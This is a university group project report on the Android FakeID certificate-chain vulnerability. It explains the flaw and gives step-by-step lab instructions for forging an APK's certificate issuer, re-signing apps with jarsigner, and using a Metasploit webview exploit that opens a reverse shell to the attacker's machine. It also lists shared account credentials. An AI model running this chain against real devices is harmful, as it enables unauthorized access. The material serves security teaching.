This document summarizes a student project that demonstrated the Android FakeID vulnerability. The vulnerability allows an attacker to modify the certificate of a malicious app to pretend it was signed by a trusted certificate authority, fooling the Android OS into granting it additional permissions. The students created two apps: one that could open websites, and another that could request websites be opened. By default, the request was denied due to insufficient permissions. However, by modifying the certificate of the second app to reference the first app's certificate, the vulnerability was demonstrated as the OS now granted the necessary permissions and allowed the website request. This showed how an attacker could exploit the lack of certificate verification in early Android to gain unauthorized access.

1. Android FakeID Vulnerability
Final Project Report
High Level Description:
Group: 3
Members: Mark Laubender, Scott Weiss, Hao Hu, Zack Webster, Brett Kaplan
Project Type: Conference Talk
Project Specifics: Android FakeID Vulnerability - a vulnerability in Android OS version 4.3 and earlier
where the cryptography of self signed certificates is not checked by the operating system, allowing an
attacker to modify the self signed certificate for a malicious program and convince the OS that its
certificate was issued by a trusted certificate authority.
References
BlueBox Security Blog:
https://bluebox.com/technical/android-fake-id-vulnerability/
https://bluebox.com/technical/questioning-the-chain-of-trust-investigations-into-the-root-certificates-on-
mobile-devices/
The BlueBox Security Blogs explained the vulnerability in more detail than the conference talk.
Jeff Forristal:
jeff@bluebox.com
Mr. Forristal was contacted at the beginning of our project and while he did not give us many answers, he
gave valuable background into the working of this vulnerability.
Android
Xref: http://androidxref.com/4.3_r2.1/xref/frameworks/base/core/java/android/webkit/PluginManager.java
Line 77 of the android Xref contains a hardcoded copy of an Adobe certificate. Without this certificate
there would be nothing for us to sign another apk with.
Video Presentation Slides:
https://www.blackhat.com/docs/us-14/materials/us-14-Forristal-Android-FakeID-Vulnerability-
Walkthrough.pdf
the video presentation slides were used as a reference, especially in changing the certificate of an apk.
Stackoverflow:
http://stackoverflow.com/questions/12456453/is-it-possible-to-generate-correct-pkcs12-pfx-file-in-python
stackoverflow was invaluable to our group when we were altering our apk's certificate, and this python

2. script served as our model in creating our own.
http://stackoverflow.com/questions/22211140/conversion-x-509-certificate-represented-as-a-hex-string-
into-pem-encoded-x-509
Found an opensssl command with the help of stackoverflow that allowed us to convert the hard-coded
adobe signature to an actual cert file (PEM format) we could wrap with our own cert.
https://cyberarms.wordpress.com/2014/02/26/android-webview-exploit-tutorial-70-of-devices-vulnerable/
An exploit we used in the malware we crafted to demonstrate the FakeID vulnerability
http://stackoverflow.com/questions/9293019/get-certificate-fingerprint-from-android-app
Info on how to write a program that checks certificates at runtime. This allows us to demonstrate
the FakeID vulnerability using our own exploit (since we are unable to
recreate the Adobe Plugin Manager exploit).
Technical Content:
The focus of this vulnerability is Public Key Infrastructure (PKI); specifically, public certificates and self-
signed certificate chaining. Under the PKI paradigm, all certificates as well as the data they contain are
hashed using a hash (message digest) algorithm and encrypted with a private key to form a signature.
Prior to KitKat (v4.4), Android did not check the validity of the certificate. This means that anyone with the
know-how can modify a certificate.
Each certificate contains the signature of its Certificate Authority, the entity which issued the certificate.
Operating systems and web browsers typically have a number of implicitly trusted Certificate Authorities;
e.g., Google, Adobe, Microsoft, etc. When the operating system or web browser receives a self-signed
certificate that is issued by a CA, it will treat it as though it is one of the CAs. This will give the application
permissions on the system that are only allowed for applications signed by the CA. For example, this
means that any program that is signed with a certificate issued by Adobe will have permissions to update
Adobe software installed on the device.
Each certificate has an ‘issuer’ field which refers to another certificate which indicates that the Certificate
Authority (CA) which issued the parent certificate also issued this certificate. This allows long series of
certificates to be chained together all under a single Certificate Authority. These certificate chains are
common in PKI architecture. When an operating system or web browser encounters a self-signed
certificate, it must process the entire certificate chain in order to determine whether the certificate has a
Certificate Authority that is trusted in order to determine what permissions the certificate is valid for.
Android platforms predating OS KitKat (v 4.4) did not check the cryptographic validity of self signed
certificates, meaning that certificates could be modified, breaking their cryptography, but not invalidating
their signature when read by the system. When checking the CA of a certificate, Android simply scans the

3. certificate chain for a trusted CA and stops there. It is therefore possible for an attacker to generate a self-
signed signature for a malicious app, modify the signature to claim it was issued by a trusted CA, and
then obtain permissions for that app from the OS which are reserved for apps genuinely signed by the
trusted CA.
Jeff Forristal’s Blackhat 2014 presentation demonstrated an exploit which disguised itself as an update for
Adobe apps using a Webview Plugin. By signing a malicious app with a cert modified to make it look like
it was issued by Adobe, Forristal demonstrated that the app was given permission by the OS to update
Adobe apps, which allowed him to inject code into apps installed on the device that would open a reverse
shell.
Our implementation used a similar vector to demonstrate the FakeID vulnerability. Because we were
unable to craft an app which injected code into real Adobe apps, we instead emulated restricted
permissions by creating our own exploitable app which will open a website given to it by another app
given that app has the correct permission to do so. The ‘victim’ app compares the signature of the exploit
app to a hardcoded signature (the same way that the Adobe Plugin Manager checks the signature of
Jeff’s malicious ‘update’), leaving the responsibility of ensuring the cryptography of the certificate to
Android. If the exploit app is not signed with proper signature, it will not have permission to communicate
with the victim app.
After creating both the victim app (that opens a website) and the exploit app (that sends the website
address and the command to open it), we generated separate self-signed certs for both apps. If, at this
point, both apps are installed on the device, the victim app is run, and then the exploit app is run and
used to send the website to the victim app, the victim app will reply with the message ‘invalid
permissions’. However, if we modify the exploit app’s cert using a simple python script to reference the
vulnerable app’s cert as its issuer and upload the exploit app to the device, the vulnerable app will
recognize it as having the correct permissions. Like the Adobe exploit, the responsibility for verifying the
cert’s cryptography is left to the OS.
Limitations:
Our original intent was to craft the same exploit that the FakeID conference talk demonstrated. We
originally misunderstood how Jeff was able to run an exploit app that opened a reverse shell without
asking for any permissions from the device. We thought this was because Android has hard-coded
permissions for trusted CAs that it automatically grants to apps when it recognizes a trusted CA in the
certificate chain when an app is installed. While it is true that Android does have hard-coded permissions
for trusted CAs, the permission Jeff’s exploit used was not internet access permission or access to SMS,
email, etc. that a reverse shell would require. Instead, it was the permission to modify code in Adobe apps
already installed on the device, i.e. the permission to update Adobe apps via the web.
We were successful in signing our cert with Adobe’s signature, but doing so gave us no practical exploit

4. to demonstrate. It was beyond our knowledge and understanding to write an app that can modify the
binary of another app (it may require a complex knowledge of how the target apps actually work in order
to forge an update for them). We spent time trying to reverse engineer the binary of an actual Adobe flash
player update. We unpacked the apk and decompiled the class files within and spent some time trying to
figure out how we could add arbitrary code for execution into the flash player through the update. But
even getting the decompiled code to compile was extremely difficult and eventually proved to be a dead
end.
We had no way to actually demonstrate that we now had permission to update Adobe apps because we
couldn’t create the app to inject code in the first place. Instead, we switched focus on trying to
demonstrate the concept at work in this vulnerability. We created our own target app, that, instead of
receiving an ‘update’ by having its binary modified, simply receives a string and attempts to open it up as
a URL. We mimicked Adobe Plugin Manager’s method for verifying the signature of the update app,
which hard-coded Adobe’s public signature and string matched it against the signature of the update app.
So long as the self-signed certificate of the exploit app is modified to point to the certificate of the victim
app as its issuer, it is able to pass the string and command the victim app to open the URL. If the cert is
not modified, then the user is notified that they do not have appropriate permissions and the URL is not
opened.
Materials
Materials needed to run:
 project files attached:
o workingCertSign.py
o CheckCert eclipse project
o Exploit eclipse project
 A way to compile Android apk's:
o we used eclipse IDE with the latest version of ADT and Android SDK
1. visit the page http://developer.android.com/sdk/installing/index.html?pkg=adt
and follow the link to download the Eclipse ADT bundle
2. Unpack the ZIP file (named adt-bundle-{os_platform}.zip) and save it to an
appropriate location, such as a "Development" directory in your home directory.
3. Open the adt-bundle-{os_platform}/eclipse/ directory and launch Eclipse.
4. Caution: Do not move any of the files or directories from the adt-bundle-
{os_platform} directory. If you move the eclipse/ or sdk/ directory, ADT will not be
able to locate the SDK and you'll need to manually update the ADT preferences.
 A way to run Android applications:
o we used Genymotion (Oracle VirtualBox must be installed)

5. 1. visit the page https://cloud.genymotion.com/page/launchpad/download/ and
download the correct version of Genymotion
2. if you are prompted for a username/password you may use “mlaubend”/“ec521”
3. run the following commands:
 chmod +x {Genymotion installer path}/genymotion-{version}_{arch}.bin
 cd
 ./genymotion-{version}_{arch}.bin -d {Genymotion installer path}
4. run Genymotion using the following command
 cd {Genymotion installer path}
 ./genymotion
5. Note: make sure that the dkms package is installed and that it
compiles VirtualBox kernel modules each time a new kernel update is available.
To do so, run
 Android Debug Bridge (ADB)
o You can find the adb tool in {sdk}/platform-tools/
Instructions to run:
extracting the adobe certificate from Xref:
 navigate to line 77 of the Android Xref
o http://androidxref.com/4.3_r2.1/xref/frameworks/base/core/java/android/webkit/PluginMan
ager.java
 copy the hex-string into a text file and run the following command
o cat {your text file}.txt | xxd -r -p | openssl x509 -inform DER -out adobeCert.pem -outform
PEM
 a new file adobeCert.pem should appear in your directory
creating the keystore from an Adobe certificate:
 make sure the attached python script workingCertSign.py and adobeCert.pem are in the same
directory
 navigate to the directory and run the python script
o python workingCertSign.py
 the new file container.pfx should appear in your directory
 now run the following command to create a keystore from the container.pfx file
o keytool -v -importkeystore -srckeystore container.pfx -srcstoretype PKCS12 -
destkeystore my.keystore -deststoretype JKS
 input the new destination keystore password 123456
 input the source keystore password 1234
 the new file my.keystore should appear in your directory

6. starting the metasploit server
 open a terminal in kali linux and type msfconsole
 when the metasploit framework has loaded, type the following command
o use exploit/android/browser/webview_addjavascriptinterface
 now insert the following commands to configure your metasploit server
o set URIPATH Security
o set LHOST {your kali ipaddr}
o exploit
 the metasploit server should now start
building the apps:
 run eclipse and import the provided directories CheckCert and Exploit into two separate Android
projects
o file → import → existing projects into workspace
o select one of the provided directories as root directory and click finish
 line 32 in CheckCert must be modified. Replace the IP address shown with your own kali IP
 follow the steps to export both projects into apk's
o file → export → Export Android Application
o select one of the two projects when prompted
o select Create new keystore
 select a location directory (irrelevant) and keystore name (irrelevant)
 select a password (irrelevant)
o input the required forms in the Key Creation menu (irrelevant)
o input the directory holding your my.keystore as the Destination for the APK file
deleting default certificate in Exploit.apk:
 once the apk's have been exported, the Export.apk certificate must be removed before a new one
can be written
o the easiest way to do this is to rename Export.apk to Export.zip
o open Export.zip with archive manager and delete the META-INF directory
o rename Export.zip to Export.apk
 use my.keystore to sign the apk using the following command
o jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore adobe.keystore
Exploit.apk 1
o Passphrase for keystore: 123456

7. o key password for 1: 1234
 NOTE: as part of our demonstration, do not remove the default certificate in CheckCert.apk
installing and running on the Android virtual device:
 start genymotion
o cd {Genymotion installer path}
o ./genymotion
 click add to create a new Android virtual device
 sign in using the genymotion credentials above and select Google Galaxy Nexus -4.1.1 – API 16
 select your new virtual device and click start
 use adb to push both apk's to the Android emulator
o ensure adb can see the emulator
 adb devices
o adb push Exploit.apk /sdcard/Download
o adb push CheckCert.apk /sdcard/Download
 in your android virtual device, use the file manager application to navigate to /sdcard/Download
 click on Exploit.apk to install it, but do not run it (must be installed first)
o note the permissions (network access)
 click on CheckCert.apk to install it and run it
o note the permissions (none!)
o if asked, use Exploit as the service to open
 CheckCert.apk will attempt to send a web address to Exploit, but will be denied due to inadequate
permissions
 be sure to click “refresh” in Exploit before continuing
gaining extra permissions through certificate manipulation
 delete CheckCert from the virtual device by dragging and dropping into the uninstall folder
 on your desktop navigate to the directory containing the original CheckCert.apk
 rename CheckCert.apk to CheckCert.zip
 open CheckCert.zip with archive manager and delete the META-INF directory
 rename CheckCert.zip to CheckCert.apk
 use my.keystore to sign the apk using the following command
o jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore
my.keystore CheckCert.apk 1
o Passphrase for keystore: 123456
o key password for 1: 1234
 use adb to push CheckCert.apk to the Android emulator

8. o adb push CheckCert.apk /sdcard/Download
 in your android emulator, use the file manager application to navigate to /sdcard/Download
 click on CheckCert.apk to install it and run it
o if asked, use Exploit as the service to open
 CheckCert.apk will gain the extra permissions given to it from the new certificate and successfully
send a web address to Exploit
 the web address will use the addjavascriptinterface exploit from the metasploit framework to open
a reverse shell from the Emulator to your kali machine
o in your metasploit terminal type the following commands to open the reverse shell
 sessions -i 1
 sysinfo
o note the operating system information (Android 4.1.1)
Live exercise:
Explanation:
Our live exercise will be composed of a demonstration of the FakeID vulnerability. One app(app1) was
crafted that shows websites in the form of a webview, and another app(app2) was crafted to insert
websites into the previous app only if that app2 has the proper permissions. We will show that app1 will
not open the website given to it by app2. We will then sign app2 with the proper certificate, which will
make app2 inherit the permissions given to it by the certificate. We will then show that app1 will now open
the website given to it by app2, making sure to enforce that no cryptographic checking was involved, and
no permissions were consciously granted to app2.
Setup:
Our group will need access to the projector and an HDMI cable connected to the projector.